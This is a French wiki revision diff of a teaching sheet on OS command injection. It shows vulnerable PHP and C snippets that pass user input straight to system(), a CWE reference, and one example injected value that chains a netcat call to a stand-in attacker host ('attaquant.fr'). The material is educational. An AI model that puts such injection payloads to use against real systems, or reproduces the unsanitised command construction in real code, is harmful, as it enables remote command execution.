cyber:vulnerabilite:commandinjection
Différences
Ci-dessous, les différences entre deux révisions de la page.
Les deux révisions précédentesRévision précédenteProchaine révision | Révision précédente | ||
cyber:vulnerabilite:commandinjection [2025/07/03 11:51] – [Exemple 1] admin | cyber:vulnerabilite:commandinjection [2025/07/03 11:57] (Version actuelle) – [Exploiter] admin | ||
---|---|---|---|
Ligne 34: | Ligne 34: | ||
==== Exploiter ==== | ==== Exploiter ==== | ||
- | Consulter les solutions de chaque challenge. | + | |
===== Conséquences potentielles ===== | ===== Conséquences potentielles ===== | ||
Ligne 61: | Ligne 61: | ||
La variable **$userName** n'est pas vérifiée pour détecter les entrées malveillantes. Un attaquant peut définir la variable $userName avec une commande OS arbitraire telle que : 'toto; nc attaquant.fr 80' | La variable **$userName** n'est pas vérifiée pour détecter les entrées malveillantes. Un attaquant peut définir la variable $userName avec une commande OS arbitraire telle que : 'toto; nc attaquant.fr 80' | ||
- | <cadre PHP> | + | <code php> |
$userName = $_POST[" | $userName = $_POST[" | ||
$command = 'ls -l / | $command = 'ls -l / | ||
system($command); | system($command); | ||
- | </cadre> | + | </code> |
===== Exemple 2 ===== | ===== Exemple 2 ===== | ||
Ligne 73: | Ligne 73: | ||
Comme le programme s' | Comme le programme s' | ||
- | <cadre class=" | + | <code C> |
int main(int argc, char** argv) { | int main(int argc, char** argv) { | ||
char cmd[CMD_MAX] = "/ | char cmd[CMD_MAX] = "/ | ||
strcat(cmd, argv[1]); | strcat(cmd, argv[1]); | ||
system(cmd); | system(cmd); | ||
- | </cadre> | + | </code> |
+ | |||
+ | ====== CWEs ====== | ||
+ | * [[https:// | ||
+ | The software constructs a string for a command to executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. | ||
+ | |||
+ | ====== References ====== | ||
+ | |||
+ | URL : | ||
+ | * https:// | ||
====== Retour fiches vulnérabilités ====== | ====== Retour fiches vulnérabilités ====== |
cyber/vulnerabilite/commandinjection.1751536304.txt.gz · Dernière modification : 2025/07/03 11:51 de admin